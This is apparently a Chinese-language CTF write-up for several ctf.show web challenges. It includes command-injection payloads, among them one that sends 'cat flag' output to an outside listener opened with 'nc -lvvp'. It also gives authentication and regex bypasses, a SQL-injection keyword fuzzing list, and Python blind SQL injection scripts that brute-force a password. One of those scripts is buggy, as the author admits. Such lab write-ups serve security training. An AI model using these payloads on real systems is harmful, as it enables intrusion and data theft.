if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}
?>
这个题,比较简单,直接使用分号,执行多个命令来绕过
payload:
1;ls;1
可以再次回顾一下,||,&&,&,|,;的作用
Linux的特殊符号
想法2:
其实这个题,看到curl,我想到了用反弹shell
?url=xxxx:10000?p=$(ls);1
?url=xxxx:10000?p=$(cat flag);1
nc -lvvp 10000
但是监听端口后,出现一堆乱码,我就不知道咋做了。
关于$()实现命令执行
dirsearch扫描,发现git泄露
GitHack扫描
找到hint.php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>
看到addslashes,是个宽字节注入
这个函数是在单引号(’)、双引号(")、反斜线(\)与 NUL(null 字符)前加反斜杠。
这儿有个sprintf,不会输出,而是将格式化的字符串存入变量。
sprintf() 函数把格式化的字符串写入变量中。
arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。
注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "\$" 组成
再看看[关于sprintf的运用],实现字符逃逸(https://hetian.blog.csdn.net/article/details/106330242)
关于php://filter过滤器
https://tyskill.github.io/posts/php_filter_%E8%BF%87%E6%BB%A4%E5%99%A8/
https://blog.csdn.net/qq_44657899/article/details/109300335
首先打开首页是个代码
session_start();
include('config.php');
if(empty($_SESSION['name'])){
show_source("index.php");
}else{
$name=$_SESSION['name'];
$sql='select pass from user where name="'.$name.'"';
echo $sql."
";
system('4rfvbgt56yhn.sh');
$query=mysqli_query($conn,$sql);
$result=mysqli_fetch_assoc($query);
if($name==='admin'){
echo "admin!!!!!"."
";
if(isset($_GET['c'])){
preg_replace_callback("/\w\W*/",function(){
die("not allowed!");},$_GET['c'],1);
echo $flag;
}else{
echo "you not admin";
}
}
}
?>
看代码有个数据库的操作,而且需要$name=admin
我们看login.php和register.php两个文件。
显然是让我们先注册,再登录,试了一下
如果要我们$name=admin,必须登录admin
发现admin登陆不上,于是
绕过$name='admin'
我们注册,admin空格
然后登录admin
urlencode的空格编码为+或者%20
接下来是绕过c
preg_replace_callback
[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配
\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]"。
\W 匹配任何非单词字符。等价于“[^A-Za-z0-9_]"。
我们直接不传c的值就可以了。
打开环境,尝试了一下抓包,F12都没有结果,就开始扫描有没有后台
看到后台/admin
进去之后,就是个sql注入测试,抓包POST的sql注入
其中尝试,u=admin,只需要搞出password
①用户名/密码错误:当输入的用户名不为admin且不超过限制的长度时
②用户名错误:用户名长度超过限制(字符长度最大为20)
③密码错误:输入用户名为admin,密码错误
我们用字典Fuzz一下过滤了许多东西
这儿可以用bp爆破,也可以使用python爆破
import requests
url="http://4ccce490-0a3c-4194-b7c6-8866c8557265.challenge.ctf.show/admin/checklogin.php"
f1=open("noallow.txt","a")
f2=open("allow.txt","a")
with open("a.txt","r") as f:
while True:
username=f.readline()
if username:
data = {
"u": username,
"p": "123"
}
response=requests.post(url=url,data=data)
if "我报警了" in response.text:
print(username)
f1.write(username)
else:
f2.write(username)
else:
break
f1.close()
f2.close()
字典如下
length
+
handler
like
select
sleep
database
delete
having
or
as
-~
BENCHMARK
limit
left
select
insert
sys.schema_auto_increment_columns
join
right
#
&
&&
\
handler
-- -
--
--+
INFORMATION
--
;
!
%
+
xor
<>
(
>
<
)
.
^
=
AND
BY
CAST
COLUMN
COUNT
CREATE
END
case
'1'='1
when
admin'
"
length
+
length
REVERSE
ascii
select
database
left
right
'
union
||
oorr
/
//
//*
*/*
/**/
anandd
GROUP
HAVING
IF
INTO
JOIN
LEAVE
LEFT
LEVEL
sleep
LIKE
NAMES
NEXT
NULL
OF
ON
|
infromation_schema
user
OR
ORDER
ORD
SCHEMA
SELECT
SET
TABLE
THEN
UPDATE
USER
USING
VALUE
VALUES
WHEN
WHERE
ADD
AND
prepare
set
update
delete
drop
inset
CAST
COLUMN
CONCAT
GROUP_CONCAT
group_concat
CREATE
DATABASE
DATABASES
alter
DELETE
DROP
floor
rand()
information_schema.tables
TABLE_SCHEMA
%df
concat_ws()
concat
LIMIT
ORD
ON
extractvalue
order
CAST()
by
ORDER
OUTFILE
RENAME
REPLACE
SCHEMA
SELECT
SET
updatexml
SHOW
SQL
TABLE
THEN
TRUE
instr
benchmark
format
bin
substring
ord
UPDATE
VALUES
VARCHAR
VERSION
WHEN
WHERE
/*
`
,
users
%0a
%0b
mid
for
BEFORE
REGEXP
RLIKE
in
sys schemma
SEPARATOR
XOR
CURSOR
FLOOR
sys.schema_table_statistics_with_buffer
INFILE
count
%0c
from
%0d
%a0
=
@
else
但是其中length和substr没有过滤,尝试盲注,直接python爆破
先爆破length
import requests
for i in range(1,100):
url="http://f478b5e7-b9ce-4acc-9878-ccadb1eba9aa.challenge.ctf.show/admin/checklogin.php"
data={
"u": "'||length(p)<'{}".format(i),
"p": " "
},
response=requests.post(url=url,data=data)
if "用户名" not in response.text:
flag=str(i)
print(flag)
break
但是这个脚本我觉得我没有问题,但是返回的有点问题
手工猜就可以用二分法,字段长为17
然后爆字段名
import requests
flag = ''
for i in range(1, 18):
for j in '0123456789abcdefghijklmnopqrstuvwxyz':
url = "http://f478b5e7-b9ce-4acc-9878-ccadb1eba9aa.challenge.ctf.show/admin/checklogin.php"
data = {
"u": "'||substr(p,{},1)<'{}".format(i,j),#substr是从1开始
"p": ""
}
# print(data)
c = requests.post(url, data=data)
# print(c.text)
if '用户名' not in c.text:
flag += chr(ord(j)-1)#前一个字符
print(flag)
break
得到字段名,登录就可以得flag